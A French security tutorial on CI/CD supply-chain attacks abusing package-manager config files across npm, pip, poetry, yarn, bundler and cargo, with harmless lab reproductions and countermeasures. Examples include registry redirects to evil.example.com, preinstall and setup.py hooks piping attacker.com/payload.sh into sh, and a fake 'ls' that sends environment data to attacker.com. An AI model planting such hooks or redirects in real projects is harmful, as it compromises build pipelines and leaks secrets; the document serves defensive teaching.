Attaques via les gestionnaires de paquets en CI/CD

Une pull request ajoute un fichier .npmrc d’une seule ligne à la racine du projet. Rien de suspect — juste une configuration de registre. Pourtant, au prochain npm install dans le pipeline, toutes les dépendances sont téléchargées depuis un serveur contrôlé par l’attaquant. Pas de code malveillant dans le diff, pas d’alerte de sécurité, pas de modification du package.json.

Ce guide couvre 5 techniques d’attaque exploitant les fichiers de configuration de 7 gestionnaires de paquets (npm, pip, poetry, uv, yarn, bundler, cargo). Vous apprendrez à les reproduire en lab et à les neutraliser.

Ce que vous allez apprendre

• Pourquoi les gestionnaires de paquets sont un vecteur d’attaque sous-estimé en CI/CD
• 5 techniques concrètes : redirection de registre, scripts de lifecycle, détournement de commande, fichiers de config exécutables, scripts de build
• Comment reproduire chaque attaque dans un lab sécurisé
• Les contre-mesures pour protéger vos pipelines

Lien avec LOTP et OWASP

Ces attaques correspondent aux entrées npm, pip, cargo, yarn et bundler du projet Living Off The Pipeline (LOTP). Elles couvrent les risques CICD-SEC-3 (Dependency Chain Abuse) et CICD-SEC-6 (Insufficient Credential Hygiene) de l’OWASP Top 10 CI/CD.

Vue d’ensemble du flux d’attaque

Le diagramme suivant montre comment un attaquant exploite les fichiers de configuration des gestionnaires de paquets pour exécuter du code dans un pipeline CI/CD — et comment les contre-mesures bloquent chaque étape.

Pourquoi les gestionnaires de paquets sont dangereux

Le problème fondamental

Dans un pipeline CI/CD, npm install, pip install -r requirements.txt ou cargo build sont des commandes considérées comme sûres. Elles font partie de chaque build, de chaque déploiement. Personne ne les remet en question.

Le problème : ces commandes ne se contentent pas de télécharger du code. Elles lisent des fichiers de configuration, exécutent des scripts, compilent du code — et chacune de ces étapes peut être détournée pour exécuter du code arbitraire.

L’analogie du colis piégé

Imaginez que vous commandez un livre en ligne. Le livreur est de confiance, le colis a l’air normal. Mais quelqu’un a changé l’adresse de l’entrepôt sur votre bon de commande. Vous recevez un colis qui ressemble au bon livre, sauf qu’il contient autre chose. C’est exactement ce que fait une redirection de registre : le gestionnaire de paquets fait son travail normalement, mais il télécharge depuis le mauvais endroit.

Pour les scripts de lifecycle, c’est encore pire : c’est comme si le colis contenait un mécanisme qui s’active à l’ouverture. Vous n’avez même pas besoin d’utiliser le contenu — le simple fait de l’installer déclenche l’exécution.

Comment l’attaque arrive dans le pipeline

Un attaquant peut introduire ces fichiers piégés de plusieurs façons :

Vecteur	Technique	Fichier piégé
PR malveillante	Ajout/modification d’un fichier de config	.npmrc, requirements.txt, .yarnrc.yml
Dépendance compromise	Le paquet contient un script post-install	package.json, setup.py
Dependency confusion	Paquet interne remplacé par un paquet public	requirements.txt, package.json
Fork empoisonné	Le fork contient des fichiers de config modifiés	Cargo.toml + build.rs
Cache empoisonné	Le cache CI contient des fichiers modifiés	.npmrc, .bundle/config

Glissez pour voir

Vue d’ensemble des 7 gestionnaires ciblés

Gestionnaire	Écosystème	Fichiers de config dangereux	Techniques
npm	Node.js	.npmrc, package.json	Registre, lifecycle
npx	Node.js	.npmrc, node_modules/.bin/	Registre, binaire
pip	Python	requirements.txt, setup.py	Registre, post-install, hijack
poetry	Python	pyproject.toml	Registre, scripts, post-install
uv	Python	requirements.txt	Mêmes que pip
yarn	Node.js	.yarnrc.yml	Config exécutable
bundler	Ruby	Gemfile, .bundle/config	Config exécutable
cargo	Rust	Cargo.toml, build.rs	Script de build

Glissez pour voir

Technique 1 : Redirection de registre

La redirection de registre est l’attaque la plus simple : un fichier de configuration redirige le gestionnaire de paquets vers un registre contrôlé par l’attaquant. Les paquets téléchargés peuvent contenir du code malveillant, tout en portant les mêmes noms et versions que les paquets légitimes.

npm / npx : le fichier .npmrc

Un fichier .npmrc placé à la racine du projet est lu automatiquement par npm install et npx. Une seule ligne suffit :

.npmrc

registry=https://evil.example.com/

À partir de ce moment, toutes les dépendances du projet sont téléchargées depuis le registre malveillant. Le package-lock.json ne protège pas : il contient des hashes, mais npm fait confiance au registre défini dans .npmrc.

npx amplifie le risque

npx hérite du .npmrc et télécharge automatiquement les paquets demandés s’ils ne sont pas installés localement. Un npx cowsay dans un répertoire contenant un .npmrc malveillant téléchargera cowsay depuis le registre de l’attaquant.

pip : l’option -i dans requirements.txt

Peu de développeurs le savent : requirements.txt accepte des options de ligne de commande, pas seulement des noms de paquets. L’option -i (ou --index-url) redirige pip vers un autre registre :

requirements.txt

-i https://evil.example.com/simple/
requests==2.31.0
flask==3.0.0

La commande pip install -r requirements.txt téléchargera requests et flask depuis evil.example.com au lieu de PyPI. L’option --extra-index-url est encore plus vicieuse : elle ajoute un registre supplémentaire, et pip choisit la version la plus récente entre les deux registres — ce qui permet une attaque par dependency confusion.

poetry : sources malveillantes dans pyproject.toml

Poetry permet de définir des sources de paquets dans pyproject.toml :

pyproject.toml

[[tool.poetry.source]]
name = "internal"
url = "https://evil.example.com/simple/"
priority = "primary"

Avec priority = "primary", cette source est consultée avant PyPI pour tous les paquets du projet.

Lab : tester la redirection de registre

1. Créer un projet npm avec .npmrc malveillant :

   mkdir lab-npm-registry && cd lab-npm-registry
   echo '{"name":"lab","dependencies":{"is-odd":"3.0.1"}}' > package.json
   echo 'registry=https://evil.example.com/' > .npmrc

2. Lancer npm install et observer :

   timeout 10 npm install 2>&1 || true

   Résultat attendu : npm tente de contacter evil.example.com et échoue (timeout ou erreur DNS). En production, le registre malveillant répondrait avec des paquets piégés.

3. Tester la même chose avec pip :

   mkdir lab-pip-registry && cd lab-pip-registry
   printf -- '-i https://evil.example.com/simple/\nrequests==2.31.0\n' > requirements.txt
   pip install -r requirements.txt 2>&1 || true

   Résultat attendu : pip affiche une erreur de connexion vers evil.example.com.

4. Nettoyer :

   cd .. && rm -rf lab-npm-registry lab-pip-registry

Danger réel en CI/CD

Dans un pipeline réel, ces registres malveillants répondent avec des paquets qui portent les mêmes noms et versions que les paquets légitimes, mais contiennent du code supplémentaire (exfiltration de secrets, reverse shell, cryptominer).

Technique 2 : Scripts de lifecycle et post-installation

Certains gestionnaires de paquets exécutent automatiquement des scripts avant, pendant ou après l’installation d’un paquet. Un attaquant peut exploiter ces mécanismes pour exécuter du code arbitraire lors d’un simple install.

npm : preinstall et postinstall

Le fichier package.json supporte des lifecycle scripts qui s’exécutent automatiquement :

Script	Quand il s’exécute
preinstall	Avant l’installation des dépendances
install	Pendant l’installation
postinstall	Après l’installation des dépendances
prepare	Après install et avant publish
prestart	Avant npm start
pretest	Avant npm test

Glissez pour voir

Un package.json malveillant peut exécuter n’importe quelle commande :

package.json

{
  "name": "paquet-legitime",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "curl https://attacker.com/payload.sh | sh"
  }
}

La commande npm install exécutera curl ... | sh avant même d’installer les dépendances. En septembre 2025, cette technique a été utilisée pour compromettre les paquets debug et chalk sur npm, affectant des millions de projets via le ver Shai-Hulud.

pip : setup.py avec cmdclass

Quand pip installe un paquet depuis les sources (pas une wheel pré-compilée), il exécute setup.py. Un attaquant peut surcharger la commande d’installation :

setup.py

from setuptools import setup
from setuptools.command.install import install

class MaliciousInstall(install):
    def run(self):
        # Code exécuté PENDANT l'installation
        import os
        os.system("curl https://attacker.com/payload.sh | sh")
        install.run(self)

setup(
    name="paquet-legitime",
    version="1.0.0",
    cmdclass={"install": MaliciousInstall},
)

La commande pip install ./paquet-legitime ou pip install paquet-legitime (si le paquet est distribué en sdist) exécutera le code malveillant.

uv et poetry sont aussi concernés

uv utilise pip sous le capot pour l’installation depuis les sources : uv pip install -r requirements.txt est vulnérable aux mêmes attaques. poetry exécute aussi setup.py lors de l’installation de dépendances locales (path = "../mon-paquet").

Lab : tester les scripts de lifecycle

1. Créer un package.json avec preinstall :

   mkdir lab-npm-lifecycle && cd lab-npm-lifecycle
   cat > package.json << 'JSON'
   {
     "name": "lab-lifecycle",
     "version": "1.0.0",
     "scripts": {
       "preinstall": "echo '[LOTP] preinstall RCE' > /tmp/lab-npm-pwned.txt"
     }
   }
   JSON

2. Lancer npm install :

   npm install --ignore-scripts=false 2>&1
   cat /tmp/lab-npm-pwned.txt

   Résultat attendu : le fichier /tmp/lab-npm-pwned.txt contient [LOTP] preinstall RCE. Le script s’exécute sans aucun avertissement.

3. Créer un paquet pip avec setup.py malveillant :

   mkdir -p lab-pip-setup/malicious_pkg
   cat > lab-pip-setup/malicious_pkg/setup.py << 'PYTHON'
   from setuptools import setup
   from setuptools.command.install import install
   import os
   
   class Exploit(install):
       def run(self):
           os.system("echo '[LOTP] setup.py RCE' > /tmp/lab-pip-pwned.txt")
           install.run(self)
   
   setup(name="malicious", version="1.0.0", cmdclass={"install": Exploit})
   PYTHON

4. Installer le paquet :

   pip install ./lab-pip-setup/malicious_pkg 2>&1
   cat /tmp/lab-pip-pwned.txt

   Résultat attendu : le fichier contient [LOTP] setup.py RCE.

5. Nettoyer :

   rm -f /tmp/lab-npm-pwned.txt /tmp/lab-pip-pwned.txt
   pip uninstall malicious -y 2>/dev/null
   cd .. && rm -rf lab-npm-lifecycle lab-pip-setup

Technique 3 : Détournement de commande (command hijack)

Cette technique exploite les mécanismes d’entry points pour remplacer des commandes système par des versions malveillantes. L’attaquant publie un paquet qui déclare un console_scripts portant le nom d’une commande courante (ls, git, curl…).

pip : console_scripts dans setup.py

Les entry points console_scripts permettent à un paquet Python d’installer un exécutable dans le PATH :

setup.py

from setuptools import setup

setup(
    name="evil-ls",
    version="1.0.0",
    py_modules=["evil"],
    entry_points={
        "console_scripts": [
            "ls=evil:main",  # Remplace la commande ls !
        ],
    },
)

evil.py

def main():
    import subprocess
    # Exfiltrer les secrets avant d'exécuter le vrai ls
    subprocess.run(["curl", "-s", "https://attacker.com/collect",
                     "-d", f"PATH={__import__('os').environ.get('PATH', '')}"],
                    capture_output=True)
    # Exécuter le vrai ls pour ne pas éveiller les soupçons
    subprocess.run(["/bin/ls"] + __import__('sys').argv[1:])

Après pip install evil-ls, la commande ls du paquet est installée dans le répertoire bin/ de l’environnement Python. Dans un venv ou un pipeline CI/CD où le PATH Python est prioritaire, cette version malveillante de ls sera exécutée à la place de /bin/ls.

poetry : [project.scripts] dans pyproject.toml

Poetry utilise le même mécanisme via pyproject.toml :

pyproject.toml

[project.scripts]
git = "malicious_pkg:hijacked_git"

Lab : tester le détournement de commande

1. Créer un paquet avec un console_scripts malveillant :

   mkdir -p lab-hijack/evil_pkg
   cat > lab-hijack/evil_pkg/setup.py << 'PYTHON'
   from setuptools import setup
   setup(
       name="evil-ls",
       version="1.0.0",
       py_modules=["evil"],
       entry_points={"console_scripts": ["ls=evil:main"]},
   )
   PYTHON
   cat > lab-hijack/evil_pkg/evil.py << 'PYTHON'
   def main():
       print("[LOTP] Commande ls détournée !")
   PYTHON

2. Installer et vérifier :

   pip install ./lab-hijack/evil_pkg 2>&1
   which -a ls

   Résultat attendu : which -a ls montre deux entrées — le ls malveillant dans le PATH Python, et /bin/ls système. Dans un pipeline CI/CD sans alias shell, le ls malveillant serait exécuté en priorité.

3. Nettoyer immédiatement :

   pip uninstall evil-ls -y
   cd .. && rm -rf lab-hijack

Invisible dans le code source

Le détournement de commande est particulièrement dangereux car rien dans le code du projet n’indique que ls ou git a été remplacé. La commande malveillante exécute le vrai programme après, rendant l’attaque transparente.

Technique 4 : Fichiers de configuration exécutables

Certains gestionnaires de paquets utilisent des fichiers de configuration qui sont en réalité du code exécutable. Modifier ces fichiers revient à injecter du code qui sera exécuté lors de la prochaine commande du gestionnaire.

yarn : yarnPath dans .yarnrc.yml

Yarn 2+ utilise un fichier .yarnrc.yml pour sa configuration. La directive yarnPath indique à yarn quel fichier JavaScript exécuter comme gestionnaire de paquets :

.yarnrc.yml

yarnPath: "./malicious.js"

malicious.js

const fs = require("fs");
// Code exécuté AVANT toute commande yarn
fs.writeFileSync("/tmp/yarn-pwned.txt",
  "[LOTP] yarnPath RCE — exécuté par yarn\n");
// Même `yarn --version` déclenche l'exécution
process.exit(0);

Chaque commande yarn — y compris yarn --version — exécute d’abord le fichier pointé par yarnPath. C’est un comportement par conception de Yarn 2+ (Plug’n’Play), mais il devient un vecteur d’attaque lorsqu’un attaquant modifie .yarnrc.yml via une PR.

bundler : le Gemfile est du Ruby

Contrairement aux autres fichiers de configuration, un Gemfile n’est pas du YAML ou du JSON : c’est du code Ruby exécuté par Bundler. Tout code Ruby valide placé dans un Gemfile sera exécuté lors de bundle install :

Gemfile

# Code Ruby exécuté au chargement du Gemfile
File.write("/tmp/bundler-pwned.txt",
  "[LOTP] Gemfile RCE — code Ruby exécuté\n")

source "https://rubygems.org"
gem "rake"

Le code Ruby est exécuté avant la résolution des dépendances. Bundler accepte aussi une redirection via .bundle/config :

.bundle/config

---
BUNDLE_GEMFILE: "/chemin/vers/Gemfile-malveillant"

Cette technique redirige bundle install vers un Gemfile arbitraire, même s’il se trouve dans un autre répertoire.

Lab : tester les fichiers de configuration exécutables

1. Tester yarn avec yarnPath malveillant :

   mkdir lab-yarn && cd lab-yarn
   echo '{"name":"lab-yarn","version":"1.0.0"}' > package.json
   cat > poc.js << 'JS'
   const fs = require("fs");
   fs.writeFileSync("/tmp/lab-yarn-pwned.txt",
     "[LOTP] yarnPath RCE — même yarn --version l'exécute\n");
   console.log("[POC] Code exécuté via yarnPath");
   process.exit(0);
   JS
   echo 'yarnPath: "./poc.js"' > .yarnrc.yml
   yarn --version 2>&1
   cat /tmp/lab-yarn-pwned.txt

   Résultat attendu : même yarn --version exécute poc.js et crée le fichier. La commande yarn n’est jamais atteinte — le code malveillant prend le contrôle immédiatement.

2. Tester bundler avec du code Ruby dans le Gemfile :

   mkdir lab-bundler && cd lab-bundler
   cat > Gemfile << 'RUBY'
   File.write("/tmp/lab-bundler-pwned.txt",
     "[LOTP] Gemfile RCE — code Ruby exécuté\n")
   source "https://rubygems.org"
   gem "rake"
   RUBY
   ruby -e 'load "./Gemfile"' 2>&1 || true
   cat /tmp/lab-bundler-pwned.txt

   Résultat attendu : même si source provoque une erreur (méthode non définie hors Bundler), le File.write s’exécute avant l’erreur. En contexte Bundler, tout le fichier s’exécute sans erreur.

3. Nettoyer :

   rm -f /tmp/lab-yarn-pwned.txt /tmp/lab-bundler-pwned.txt
   cd .. && rm -rf lab-yarn lab-bundler .yarnrc.yml

Technique 5 : Exécution au build (build scripts)

cargo : build.rs — exécution avant la compilation

Cargo exécute automatiquement un fichier build.rs situé à la racine d’un crate avant de compiler le code Rust. Ce fichier peut contenir n’importe quel code Rust, y compris des appels système :

build.rs

use std::process::Command;
use std::fs;

fn main() {
    // Exécuté AUTOMATIQUEMENT avant cargo build
    let output = Command::new("id").output().unwrap();
    let id = String::from_utf8_lossy(&output.stdout);
    fs::write("/tmp/cargo-pwned.txt",
        format!("[LOTP] build.rs RCE — {}", id)).unwrap();
}

Le fichier build.rs est exécuté dans ces contextes :

Commande	Exécute build.rs ?
cargo build	Oui
cargo test	Oui (compilation requise)
cargo bench	Oui (compilation requise)
cargo run	Oui (compilation requise)
cargo check	Oui
cargo doc	Oui

Glissez pour voir

Le fichier Cargo.toml peut aussi référencer des dépendances de build qui contiennent elles-mêmes un build.rs :

Cargo.toml

[build-dependencies]
malicious-build-helper = "1.0.0"

Pas de sandbox

Contrairement à ce qu’on pourrait croire, build.rs s’exécute sans aucune sandbox. Il a les mêmes droits que l’utilisateur qui lance cargo build, avec accès complet au système de fichiers, au réseau, et à toutes les variables d’environnement du pipeline.

Lab : tester l’exécution de build.rs

1. Créer un projet Rust avec un build.rs malveillant :

   mkdir lab-cargo && cd lab-cargo
   cat > Cargo.toml << 'TOML'
   [package]
   name = "lab-cargo"
   version = "0.1.0"
   edition = "2021"
   TOML
   mkdir src
   echo 'fn main() { println!("Hello"); }' > src/main.rs
   cat > build.rs << 'RUST'
   use std::process::Command;
   use std::fs;
   
   fn main() {
       fs::write("/tmp/lab-cargo-pwned.txt",
           "[LOTP] build.rs RCE — code exécuté avant la compilation\n")
           .unwrap();
       let output = Command::new("id").output().unwrap();
       fs::write("/tmp/lab-cargo-id.txt",
           format!("Exécuté en tant que: {}",
               String::from_utf8_lossy(&output.stdout)))
           .unwrap();
   }
   RUST

2. Lancer cargo build :

   cargo build 2>&1
   cat /tmp/lab-cargo-pwned.txt
   cat /tmp/lab-cargo-id.txt

   Résultat attendu : les deux fichiers sont créés. Le build.rs s’exécute avant la compilation de src/main.rs, avec les droits complets de l’utilisateur du pipeline.

3. Nettoyer :

   rm -f /tmp/lab-cargo-pwned.txt /tmp/lab-cargo-id.txt
   cd .. && rm -rf lab-cargo

Contre-mesures

Mesures transversales (tous les gestionnaires)

Contre-mesure	Impact	Difficulté
Fichier lockfile vérifié	Détecte les changements de registre/hash	Faible
--ignore-scripts pour npm	Bloque preinstall/postinstall	Faible
--no-build-isolation désactivé pour pip	Isole le build	Faible
Revue des fichiers de config dans les PR	Détecte .npmrc, .yarnrc.yml, etc.	Moyenne
CODEOWNERS sur les fichiers sensibles	Exige une approbation pour les fichiers de config	Moyenne
Pipeline en lecture seule	Limite l’impact des RCE	Élevée

Glissez pour voir

Par gestionnaire de paquets

npm

# Désactiver les lifecycle scripts
npm install --ignore-scripts

# Auditer les scripts avant installation
npm pack <paquet> && tar xf <paquet>.tgz && cat package/package.json | jq '.scripts'

# Protéger .npmrc avec CODEOWNERS
echo "/.npmrc @security-team" >> .github/CODEOWNERS

pip

# Installer uniquement des wheels (pas de setup.py)
pip install --only-binary=:all: -r requirements.txt

# Épingler les index dans la CI (pas dans requirements.txt)
pip install --index-url https://pypi.org/simple/ -r requirements.txt

# Vérifier les hashes
pip install --require-hashes -r requirements.txt

Fichier requirements.txt sécurisé (avec hashes) :

requirements.txt

requests==2.31.0 \
  --hash=sha256:942c5a758f98d790eaed1a29cb6eefc7f0d329b5e0be51dc16c8c4a83e4b2b5f

cargo

# Vérifier les build scripts avant compilation
cargo vendor && grep -r "Command::new" vendor/*/build.rs

# Utiliser cargo-audit pour détecter les vulnérabilités
cargo install cargo-audit
cargo audit

# Examiner les build-dependencies
grep -A5 "build-dependencies" Cargo.toml

yarn

# Vérifier que yarnPath pointe vers un fichier légitime
cat .yarnrc.yml | grep yarnPath

# Le yarnPath devrait pointer vers .yarn/releases/yarn-*.cjs
# JAMAIS vers un fichier .js arbitraire

# Protéger .yarnrc.yml avec CODEOWNERS
echo "/.yarnrc.yml @security-team" >> .github/CODEOWNERS

bundler

# Examiner le Gemfile pour du code Ruby suspect
grep -E "system|exec|spawn|\`|%x|IO.popen|File.write" Gemfile

# Protéger le Gemfile avec CODEOWNERS
echo "/Gemfile @security-team" >> .github/CODEOWNERS
echo "/.bundle/config @security-team" >> .github/CODEOWNERS

Fichiers à surveiller dans les PR

Configurez votre pipeline pour alerter lorsqu’une PR modifie ces fichiers :

.github/CODEOWNERS

# Fichiers de configuration des gestionnaires de paquets
/.npmrc                 @security-team
/.yarnrc.yml            @security-team
/Gemfile                @security-team
/.bundle/config         @security-team
/build.rs               @security-team

# Fichiers qui peuvent contenir des redirections de registre
/requirements.txt       @security-team
/pyproject.toml         @security-team
/Cargo.toml             @security-team

Automatiser la détection

Des outils comme Poutine et Zizmor détectent certains de ces vecteurs dans les workflows GitHub Actions. Pour les fichiers de configuration des gestionnaires de paquets, une règle CODEOWNERS est la contre-mesure la plus simple et la plus efficace.

Dépannage

Symptôme	Cause probable	Solution
npm install télécharge depuis un registre inconnu	.npmrc avec un registry modifié	Vérifier .npmrc à la racine et dans ~/.npmrc
pip install échoue avec une erreur de certificat	-i vers un registre HTTPS non valide dans requirements.txt	Inspecter requirements.txt pour les options -i ou --extra-index-url
Un binaire système se comporte étrangement	console_scripts installe un binaire homonyme	which -a <commande> pour lister toutes les versions
yarn exécute du code inattendu	yarnPath pointe vers un fichier malveillant	Vérifier .yarnrc.yml — yarnPath doit pointer vers .yarn/releases/
cargo build écrit des fichiers inattendus	build.rs contient du code malveillant	Lire build.rs et chercher Command::new, fs::write
bundle install exécute des commandes	Le Gemfile contient du code Ruby arbitraire	Chercher system, exec, File.write dans le Gemfile

Glissez pour voir

Récapitulatif des techniques

#	Technique	Gestionnaires	Fichier piégé	Déclencheur
1	Redirection de registre	npm, pip, poetry, uv	.npmrc, requirements.txt, pyproject.toml	install
2	Scripts de lifecycle	npm, pip, poetry, uv	package.json, setup.py	install
3	Détournement de commande	pip, poetry	setup.py, pyproject.toml	install + usage
4	Config exécutable	yarn, bundler	.yarnrc.yml, Gemfile	Toute commande
5	Script de build	cargo	build.rs	build, test, check

Glissez pour voir

À retenir

• Les gestionnaires de paquets ne sont pas de simples téléchargeurs : ils exécutent du code à l’installation, au build, et même à la configuration.

• 5 techniques permettent l’exécution de code arbitraire : redirection de registre, scripts de lifecycle, détournement de commande, fichiers de config exécutables, et scripts de build.

• Tous les écosystèmes sont concernés : Node.js (npm, yarn), Python (pip, poetry, uv), Ruby (bundler) et Rust (cargo).

• La technique la plus simple est la redirection de registre (une ligne dans .npmrc ou requirements.txt), la plus dangereuse est le script de lifecycle (exécution automatique sans avertissement).

• La contre-mesure la plus efficace est CODEOWNERS : exiger une revue par l’équipe sécurité pour tout fichier de configuration de gestionnaire de paquets.

• --ignore-scripts (npm) et --only-binary=:all: (pip) bloquent l’exécution de code à l’installation, mais peuvent casser certains paquets légitimes.

Prochaines étapes

Living Off The Pipeline (LOTP) Les 59 outils CI/CD exploitables — l'équivalent GTFObins pour les pipelines.

Empoisonnement de variables d'environnement BASH_ENV, npm_config_*, TAR_OPTIONS : 6 techniques d'exécution de code invisible dans vos pipelines.

OWASP Top 10 CI/CD Les 10 risques majeurs des pipelines CI/CD, dont CICD-SEC-3 (Dependency Chain Abuse).

Sécuriser les dépendances Verrouiller les versions, vérifier les hashes, auditer les vulnérabilités.

Poutine — scanner vos GitHub Actions Détecter les workflows vulnérables aux injections et exfiltrations.

Défense en profondeur Superposer les couches de sécurité pour résister même si une couche est franchie.

×

📖 Voir la documentation →